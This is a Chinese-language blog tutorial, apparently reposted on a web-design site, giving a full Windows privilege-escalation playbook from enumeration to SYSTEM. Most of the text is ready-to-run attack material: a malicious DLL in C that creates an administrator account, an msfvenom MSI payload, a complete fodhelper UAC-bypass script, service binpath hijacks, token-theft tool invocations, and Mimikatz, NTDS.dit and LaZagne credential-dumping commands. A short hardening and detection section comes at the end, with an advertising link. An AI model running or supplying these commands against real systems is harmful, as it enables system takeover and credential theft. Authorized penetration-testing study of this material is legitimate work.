☰
Windows权限提升完全手册:从信息收集到SYSTEM权限的完整路径
2026/9/27 5:06:24 网站建设 项目流程

📌写在前面

“Windows怎么提权?”“有了普通用户怎么变SYSTEM?”“有哪些常见的提权漏洞?”

在渗透测试中,拿到初始shell往往只是低权限用户。要真正控制系统、横向移动、窃取凭据,就需要提升权限到SYSTEM或Administrator。

Windows提权是一个系统工程:从信息收集到漏洞利用,从配置缺陷到凭据获取,每一步都需要耐心和细致。不像Linux提权有明确的SUID、cron等路径,Windows提权更依赖对系统配置的全面分析。

我第一次做Windows提权是在靶场上,通过服务路径未引用漏洞,写了个恶意程序放到路径中,重启服务后直接拿到SYSTEM。那一刻对"配置即漏洞"有了深刻理解。

今天我把Windows权限提升的完整知识整理出来:信息收集、内核提权、服务提权、注册表利用、令牌窃取、UAC绕过、凭据获取。看完这篇,你对Windows提权会有一个系统化认知。

⚠️ 注意:本文仅用于授权的安全测试和教育目的,严禁用于非法用途。


一、Windows权限体系

权限层级

权限SID说明
SYSTEMS-1-5-18最高权限,系统级
AdministratorS-1-5-32-544管理员
UserS-1-5-32-545普通用户
GuestS-1-5-32-546来宾账户

UAC机制

普通操作 → 不需要提权 管理操作 → UAC弹窗确认 ↓ 用户点击"是" → 提升为管理员权限 用户点击"否" → 操作被拒绝

提权路径总览

初始访问(低权限) ↓ 信息收集 → 确定提权路径 ↓ ┌───────────────────────────────────────┐ │ 内核漏洞 │ 服务缺陷 │ 注册表 │ 计划任务 │ │ 令牌窃取 │ UAC绕过 │ 凭据获取 │ DLL劫持 │ └───────────────────────────────────────┘ ↓ SYSTEM权限

二、提权信息收集

系统基本信息

# 系统版本和补丁systeminfo systeminfo|findstr/B/C:"OS Name"/C:"OS Version"/C:"System Type"# 查看已安装补丁wmic qfe list brief wmic qfe get Caption,Description,HotFixID,InstalledOn# 查看架构echo%PROCESSOR_ARCHITECTURE%# 查看当前用户和权限whoami whoami/all whoami/priv whoami/groups# 查看网络配置ipconfig/all netstat-ano# 查看进程tasklist/v tasklist/svc

WinPeas自动化信息收集

# WinPeas - Windows自动化提权信息收集工具# 下载# https://github.com/peass-ng/PEASS-ng/releases# 执行winpeas.bat# 批处理版本winpeasx64.exe# 可执行版本# 输出会标记潜在提权路径# 红色 = 高风险# 黄色 = 中风险

PowerUp.ps1

# PowerUp - PowerShell提权审计工具Import-Module.\PowerUp.ps1# 运行所有检查Invoke-AllChecks# 检查项:# - 未引用服务路径# - 服务权限缺陷# - AlwaysInstallElevated# - 注册表自启# - 凭据存储# - 计划任务

Seatbelt.exe

# Seatbelt - C#信息收集工具Seatbelt.exe-group=all# 收集全部信息Seatbelt.exe-group=system# 系统信息Seatbelt.exe-group=chrome# Chrome数据Seatbelt.exe-group=basic# 基础信息

关键信息收集Checklist

检查项命令目的
系统版本systeminfo确定内核漏洞
补丁列表wmic qfe确定缺失补丁
当前权限whoami /priv查看已有权限
服务列表sc query查找服务缺陷
计划任务schtasks查找可利用任务
自启动项reg query查找注册表利用
存储凭据cmdkey /l查找存储凭据
网络连接netstat发现内网资源

三、内核漏洞提权

常见内核漏洞

漏洞编号漏洞名称影响版本提权工具
MS16-032二级登录提权Win7/8/10/2012MS16-032.exe
MS16-135Win32k提权Win7/8.1/10/2012MS16-135.exe
MS17-010永恒之蓝Win7/8/2008EternalBlue
CVE-2020-0787BITS提权Win10/2016/2019BITSInject
CVE-2021-1732Win32k提权Win10 2004/20H2CVE-2021-1732
CVE-2022-21882Win32k提权Win10/11/2019/2022POC
CVE-2023-21716Word提权OfficePOC
PrintNightmare打印服务漏洞Win7-11/2008-2022POC

Metasploit提权

# Metasploit内核提权模块msf6>use exploit/windows/local/ms16_032_secondary_logon_handle_privesc msf6>setSESSION1msf6>exploit# 常用本地提权模块msf6>search path:local platform:windows type:exploit# 常用模块列表exploit/windows/local/bypassuac exploit/windows/local/ms16_032 exploit/windows/local/ms16_135 exploit/windows/local/ask# UAC弹窗提权exploit/windows/local/always_install_elevated

漏洞匹配工具

# Windows Exploit Suggesterpython3 windows-exploit-suggester.py--database2024-09-25-mssb.xls--systeminfosysinfo.txt# Watson (C#)Watson.exe#Sherlock (PowerShell)Import-Module Sherlock.ps1 Find-AllVulns

四、服务配置提权

1. 未引用服务路径(Unquoted Service Path)

当服务路径含空格且未加引号时,可利用路径解析漏洞。

# 查找未引用服务路径wmic service get name,displayname,pathname,startmode|findstr/i"auto"|findstr/i/v"c:\windows"# 示例:# C:\Program Files\My Service\service.exe# 解析顺序:# 1. C:\Program.exe ← 如果存在就会被执行# 2. C:\Program Files\My.exe# 3. C:\Program Files\My Service\service.exe# 利用方法:# 1. 检查服务运行权限scqc"MyService"# 2. 如果以SYSTEM运行,在可写目录放置恶意exe# 3. 重启服务scstop"MyService"scstart"MyService"

2. 服务权限缺陷

# 查看服务权限scqc"ServiceName"icacls"C:\path\to\service.exe"# 使用 accesschk 检查服务权限accesschk.exe-ucqv"ServiceName"# 查找可修改的服务accesschk.exe-uwcqv"Users"*-accepteula# 如果普通用户可以修改服务:# 修改服务指向恶意程序scconfig"ServiceName"binpath="C:\temp\evil.exe"scstop"ServiceName"scstart"ServiceName"# 或修改服务可执行路径scconfig"ServiceName"binpath="cmd /c net localgroup administrators user /add"

3. DLL劫持

# 查找可写目录中的服务# 检查服务加载的DLL路径# 使用 Process Monitor 监控DLL加载# 劫持步骤:# 1. 找到以SYSTEM运行的服务# 2. 找到服务尝试加载但路径不安全的DLL# 3. 在该路径放置恶意DLL# 4. 重启服务触发加载# 恶意DLL示例(C语言)#include <windows.h>BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){if(fdwReason == DLL_PROCESS_ATTACH){system("cmd /c net user hacker P@ss123 /add");system("cmd /c net localgroup administrators hacker /add");}returnTRUE;}# 编译x86_64-w64-mingw32-gcc evil.c--shared-o evil.dll

五、注册表提权

1. AlwaysInstallElevated

# 检查是否启用reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated# 如果两个值都为1,MSI以SYSTEM运行# 生成恶意MSImsfvenom-p windows/exec CMD='net localgroup administrators user /add'-f msi-o evil.msi# 执行msiexec/quiet/qn/i evil.msi

2. 注册表自启动

# 查看自启动项reg query"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"reg query"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"# 检查自启动程序路径权限# 如果路径可写,替换为恶意程序# Autoruns 工具查看所有自启动项# Sysinternals Autoruns

3. 注册表凭据

# 查找注册表中的密码reg query"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"/v DefaultUserName reg query"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"/v DefaultPassword# VNC密码reg query"HKLM\SOFTWARE\RealVNC\WinVNC4"/v Password# 自动化搜索reg query HKLM/f"password"/t REG_SZ/s reg query HKCU/f"password"/t REG_SZ/s

六、计划任务提权

# 查看计划任务schtasks/query/fo LIST/v# 查找以SYSTEM运行的任务schtasks/query/fo LIST/v|findstr/i"TaskName RunAs"# 如果任务的脚本/路径可写,则可以替换# 检查任务执行路径权限icacls"C:\path\to\task\script.bat"# 利用方式:# 1. 找到以高权限运行的任务# 2. 检查任务执行的文件是否可写# 3. 替换为恶意脚本# 4. 等待或触发任务执行

七、令牌窃取与模拟

令牌窃取原理

低权限进程 → 窃取SYSTEM进程令牌 → 以SYSTEM权限执行

JuicyPotato

# JuicyPotato - 利用NTLM认证窃取SYSTEM令牌# 需要SeImpersonate权限JuicyPotato.exe-l1337-pcmd.exe-t*-c{F7FD3FD6-8B9E-4F92-8D6A-5FDA0CC6B6BA}# PrintSpooferPrintSpoofer.exe-i-c"cmd /c whoami"# GodPotato(支持.NET)GodPotato.exe-cmd"cmd /c whoami"

Mimikatz令牌操作

# 列出令牌token::list# 窃取令牌token::steal /id:PID# 模拟令牌token::elevate /id:PID

常见需要SeImpersonate权限的服务

服务说明
IISWeb服务器服务账户
SQL Server数据库服务账户
WinRM远程管理服务
BITS后台智能传输
Print Spooler打印服务
Exchange邮件服务

八、UAC绕过

UAC绕过方法

方法说明适用版本
fodhelper默认程序注册表劫持Win10+
eventvwr事件查看器注册表劫持Win7-10
computerdefaults计算机默认程序Win10+
sdclt备份和还原Win10
DLL劫持特定系统DLL多版本

fodhelper UAC绕过

# PowerShell实现New-Item"HKCU:\Software\Classes\ms-settings\Shell\Open\command"-ForceNew-ItemProperty-Path"HKCU:\Software\Classes\ms-settings\Shell\Open\command"-Name"DelegateExecute"-Value""-ForceSet-ItemProperty-Path"HKCU:\Software\Classes\ms-settings\Shell\Open\command"-Name"(default)"-Value"cmd /c net localgroup administrators user /add"-ForceStart-Process"fodhelper.exe"# 清理Remove-Item"HKCU:\Software\Classes\ms-settings\Shell\Open\command"-Force-Recurse

Metasploit UAC绕过

msf6>use exploit/windows/local/bypassuac_fodhelper msf6>setSESSION1msf6>exploit# 或使用 ask 模块(弹窗型)msf6>use exploit/windows/local/ask msf6>setSESSION1msf6>exploit

九、凭据获取

凭据存储位置

位置说明工具
LSASS本地安全机构子系统Mimikatz
SAM文件本地账户哈希Mimikatz/secretsdump
LSA SecretsLSA存储的密钥Mimikatz
NTDS.dit域控哈希数据库ntdsutil/secretsdump
凭据管理器Windows凭据存储cmdkey
浏览器浏览器密码LaZagne
注册表VNC/FTP等密码reg query

Mimikatz

# 提权后使用Mimikatz# 需要Debug权限privilege::debug# 抓取明文密码sekurlsa::logonpasswords# 抓取NTLM哈希lsadump::sam lsadump::dcsync /user:Administrator# 抓取LSA密钥lsadump::secrets# 抓取Kerberos票据sekurlsa::tickets

凭据导出

# 使用Impacket的secretsdumpsecretsdump.py-samSAM-systemSYSTEMlocalsecretsdump.py-ntdsntds.dit-systemSYSTEMlocal# 从NTDS.dit导出域哈希# 1. 创建快照ntdsutil snapshot"activate instance ntds"create quit quit# 2. 挂载快照ntdsutil snapshot"mount {GUID}"quit quit# 3. 复制NTDS.ditcopy C:\$SNAP_*\Windows\NTDS\ntds.dit C:\temp\# 4. 复制SYSTEM注册表reg save HKLM\SYSTEM C:\temp\SYSTEM# 5. 卸载快照ntdsutil snapshot"unmount {GUID}"quit quit# 6. 离线导出secretsdump.py-ntdsntds.dit-systemSYSTEMlocal

其他凭据收集

# 浏览器密码# LaZagneLaZagne.exe all# WiFi密码netsh wlan show profile netsh wlan show profile name="WiFiName"key=clear# RDP密码cmdkey/listdir/a"%userprofile%\AppData\Local\Microsoft\Credentials\"# SSH密钥dir/a"%userprofile%\.ssh\"# 环境变量中的密码set|findstr/i"pass"

十、Windows提权工具箱

工具功能运行方式
WinPeas自动化信息收集.bat/.exe
PowerUpPowerShell审计.ps1
SeatbeltC#信息收集.exe
Watson漏洞检测.exe
Mimikatz凭据获取.exe
JuicyPotato令牌窃取.exe
PrintSpoofo令牌窃取.exe
Metasploit综合提权框架
AccessChk权限检查.exe
Autoruns自启动分析.exe

十一、提权防御方案

系统加固

加固项说明
及时更新补丁修复已知内核漏洞
最小权限原则服务以最小权限运行
服务路径加引号防止路径未引用漏洞
限制服务权限普通用户不能修改服务
禁用不必要的自启减少攻击面
启用UAC到最高级防止静默提权
部署EDR检测异常行为
最小化存储凭据不在系统中存密码

检测规则

检测项说明日志源
特权提升用户获得新特权4673/4674
服务修改服务配置被修改7045
注册表修改关键注册表改动Sysmon
异常进程创建SYSTEM权限异常Sysmon/EDR
Mimikatz行为LSASS访问Sysmon/EDR
新建用户添加管理员账户4728/4732

十二、Windows提权完整流程

1. 获取初始Shell(低权限) 2. 信息收集(WinPeas/PowerUp) 3. 分析提权路径 4. 选择提权方法: ├── 有补丁缺失 → 内核漏洞提权 ├── 服务配置缺陷 → 服务提权 ├── 有SeImpersonate → 令牌窃取 ├── 有存储凭据 → 凭据利用 ├── UAC限制 → UAC绕过 └── 其他路径 → 注册表/计划任务 5. 提权到SYSTEM/Administrator 6. 权限维持(创建服务/计划任务) 7. 凭据获取(Mimikatz) 8. 横向移动

学习资源

Windows提权是内网渗透中的核心技能。从信息收集到漏洞利用,从配置缺陷到凭据获取,每一条提权路径都需要对Windows系统有深入理解。

掌握Windows提权需要大量实践。在靶场环境中反复练习各种提权手法,理解每一步的原理和条件,才能在实战中快速找到提权路径。

如果你对Windows提权和内网渗透感兴趣,想系统学习更多知识——包括内网渗透全流程、域渗透技术、应急响应、红蓝对抗、CTF实战等——可以参考下面整理的完整学习资料包。

内容涵盖:

从零基础到实战进阶,200+节视频课程,配套工具和靶场环境,涵盖攻防对抗全生命周期。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源


总结

Windows提权的核心要点:

提权方向关键技术
内核漏洞补丁缺失 → 对应CVE利用
服务缺陷未引用路径/权限/DLL劫持
令牌窃取SeImpersonate → JuicyPotato
UAC绕过注册表劫持/fodhelper
凭据获取Mimikatz/LSASS/NTDS.dit
信息收集WinPeas/PowerUp/Seatbelt

🔒 记住:提权的本质是"权限的非法扩大"。防御的核心是最小权限原则和及时修复漏洞。

————————————————

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询